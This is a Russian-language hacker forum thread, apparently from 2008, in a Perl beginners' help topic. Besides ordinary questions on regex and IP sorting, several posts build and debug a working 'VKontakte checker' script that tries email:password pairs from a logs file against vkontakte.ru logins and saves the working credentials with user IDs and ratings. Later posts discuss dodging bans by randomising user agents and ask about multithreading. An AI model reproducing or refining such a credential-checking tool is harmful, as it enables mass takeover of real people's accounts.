[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    еп-ти заработало! все бока в этой диретиве!

    хотя в скрипте использовал set_time_limit(0); но не погало (
     
  2. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Че-то после праздников я не пойму. Заглядываю в тему по перлу - вижу обсуждение php.ini o_O
     
  3. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    прошу прощения, просидел безвылазно за компом чуть ли не сутки вот и глюкнуло. Если можно переместите, или удлаите топики.
     
  4. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    есть некий урл
    www.site.com
    на котором есть некое значение 777
    которое в исходно коде находится в такой строчке
    <div id="value" style="width:10px;">777</div>

    делаю запрос
    $request = get('http://www.site.com')->as_string;

    в переменной request будет исходник страницы
    а вот дальше подскажите как выдрать именно значение 777 которое в <div id="value" style="width:10px;">777</div> и записаь его в переменную

    я так понимаю нужно пользоваться регуляркой?
     
  5. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Будет что-то типа
    PHP:
    my $variable = $if $request =~ m#<div id="value" style="width:10px;">(\d+)</div>#gio;
    Нужное тебе значение будет в переменной $variable
     
    #525 biophreak, 17 Jun 2008
    Last edited: 17 Jun 2008
  6. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Ну вот с горем пополам немного переделал чекер на перле для контакта,чтоб чекал рейтинг
    но почемуто айдишник не выдает (
    где огибка?

    з.Ы. Знание перла = 0.01% ыыыыыы
    ногами не пинать учусь.
    PHP:
    #!/usr/bin/perl
    use strict;
    use 
    LWP::UserAgent;

    use 
    HTTP::Cookies;

    open (FILE '<logs.txt');
    my @= <FILE>;
    chomp @f;



    my $ua LWP::UserAgent->new;
    my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);    #Eoee ;)
    open (OUT '>>IDS.txt');
    while (@
    f)
    {
    my ($mail$pass) = split(/:/, shift(@f));

    my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
    my $suc $req =~ /302 Found/;
    if (
    $suc )
    {
    $req $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;
    if (!$
    2)
    {
    print 
    "Account deleted";# это в случае , если пользователь удалил страницу
    }
    $req $ua->get('http://vkontakte.ru/rate.php')->as_string;
    my $res = $if $req=~m/width:100px">(.{1,4})</;
    print "
    [rate=$res]:$mail:$pass \n";
    print OUT 
    $res.":".$mail.":".$pass.":".$2."\n";
    if (length($2)>1){print OUT 
    $res.":".$mail.":".$pass.":".$2."\n";}
    }
    else{print"
    [-]bad login or password";}
    }
     
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Учись для начала открытые файлы закрывать...
     
  8. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Вот что у меня получилось, там немного в скрипте логика хромала, при удаленном акке он продолжил бы запрос rate.php страницы...
    На удаленных акках не тестил :)
    PHP:
     #!/usr/bin/perl -s
    use strict
    use 
    warnings 'all';
    use 
    diagnostics;
    use 
    LWP::UserAgent
    use 
    HTTP::Cookies
    open FILE'<''logs.txt' or die "Cannot open logs file: $!\n";
    my $ua LWP::UserAgent->new
    my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); 
    $ua->cookie_jar($cookies);
    open OUT'>>''IDS.txt' or die "Cannot open IDS file: $!\n";
    while (
    my @= <FILE>) 
    {
        
    my ($mail$pass) = split ':'shift @f;
        
    chomp($pass);
        
    my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass })->as_string
        
    $req =~ /302 Found/; 
        if (
    $req
        { 
            
    $req $ua->get('http://vkontakte.ru/index.php')->as_string
            
    my $id = $if $req =~ m#&lt;a href="http://vkontakte.ru/id(\d+)"&gt;#i;
            
    next && print "Account $mail deleted\n" if !$id;
            
    $req $ua->get('http://vkontakte.ru/rate.php')->as_string
            
    my $res = $if $req=~m#<div id="percent" style="width:100px">(\d{1,3})%</div>#i; 
            
    print "[rate = $res%]:$mail:$pass\n"
            print 
    OUT $res.":".$mail.":".$pass."\n"
            exit;
        } else 
        { 
            print
    "[-]bad login or password"
        } 
    } continue 

        
    close OUT
        
    close FILE;
    }
     
  9. sedoy_xxx

    sedoy_xxx Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    244
    Likes Received:
    41
    Reputations:
    -1
    Есть массив ip адресов. Его нужно отсортировать в порядке возрастания 3 и 4 октетов. Стандартная функция sort делает это так:
    10.1.1.11
    10.1.1.12
    10.1.1.120
    10.1.1.121
    10.1.1.13

    А требуется:

    10.1.1.11
    10.1.1.12
    10.1.1.13
    .......
    10.1.1.120
    10.1.1.121
     
  10. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Не знаю есть ли функция natsort() в perl но в PHP она есть и сортирует так как тебе нужно....
     
  11. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    sedoy_xxx, попробуй так
    Code:
    #!/usr/bin/perl
    
    @ips = ('10.1.1.11', '10.1.1.12', '10.1.1.120', '10.1.1.121', '10.1.1.13');
    @new = sort {
      ($a =~ /10\.1\.1\.(\d+)/)[0] <=> ($b =~ /10\.1\.1\.(\d+)/)[0]
    } @ips;
    print "@new\n";
    exit 0;
    
    Это для последнего октета. Для 3 и 4 попробуй заменить на
    Code:
    @new = sort {
      ($a =~ /10\.1\.(\d+)\.(\d+)/)[0] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[0]
      ||
      ($a =~ /10\.1\.(\d+)\.(\d+)/)[1] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[1]
    } @ips;
    
     
    #531 krypt3r, 18 Jun 2008
    Last edited: 18 Jun 2008
    1 person likes this.
  12. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    все спасибо разобрался, вот рабочий вариант

    PHP:
    #!/usr/bin/perl
    # VKONTAKTE    cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use 
    LWP::UserAgent;

    use 
    HTTP::Cookies;

    open (FILE '<logs.txt');
    my @= <FILE>;
    chomp @f;
    my $ua LWP::UserAgent->new;
    my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT '>>IDS_rate.txt');
    while (@
    f)
    {
    my ($mail$pass) = split(/:/, shift(@f));

    my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
    my $suc $req =~ /302 Found/;
    if (
    $suc )
    {
    $req $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;
    my $idd=$2;
    if (!$
    2)
    {
    print 
    "Account deleted";
    }
    $req $ua->get('http://vkontakte.ru/rate.php')->as_string;
    my $res = $if $req=~m/width:100px">(.{1,4})</;
    print "
    [rate=$res]:[id=$idd]:$mail:$pass\n";
    print OUT 
    $res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"
    [-]bad login or password \n";}
    }
    close OUT;
    close FILE;
     
    #532 svesve, 18 Jun 2008
    Last edited: 18 Jun 2008
    1 person likes this.
  13. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Хм...логику подкрути еще, ибо на удаленных аках лишь матюкнется на экран и продолжит ломицца на rate.php...
     
  14. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
  15. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    PHP:
    #!/usr/bin/perl
    # VKONTAKTE    cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use 
    LWP::UserAgent;

    use 
    HTTP::Cookies;

    open (FILE '<logs.txt');
    my @= <FILE>;
    chomp @f;
    my $ua LWP::UserAgent->new;
    my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT '>>IDS_rate.txt');
    while (@
    f)
    {
    my ($mail$pass) = split(/:/, shift(@f));

    my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
    my $suc $req =~ /302 Found/;
    if (
    $suc )
    {
    $req $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;
    my $idd=$2;
    $req $ua->get('http://vkontakte.ru/rate.php')->as_string;
    my $res = $if $req=~m/width:100px">(.{1,4})</;
    print "
    [rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!
    $idd)
    {
    print "
    Account deleted \n";
    }
    print OUT 
    $res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"
    [-]bad login or password \n";}
    }
    close OUT;
    close FILE;
    подправил все должно быть ок!
     
  16. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    при таком чеке обычно все акки уходят в баню, так что осторожнее ))
     
  17. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    почему?
     
  18. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    1 Ip, 1 юзерагент, да, и если банально прослеживается путь "юзера" по сайту, то за кучу однообразных запросов забанить могут )))
     
  19. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    хы а если рандомайз на юзер агент воткнуть )
    а то что один айпи это еще не причина бана мб мы из одной сети сидим через шлюз ) все 20 000 человек ))))) и у всех у нас опера или лиса )
     
  20. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Есть у когонитбудь простой примерчик многопоточности?
    скиньте плиз )
     
Thread Status:
Not open for further replies.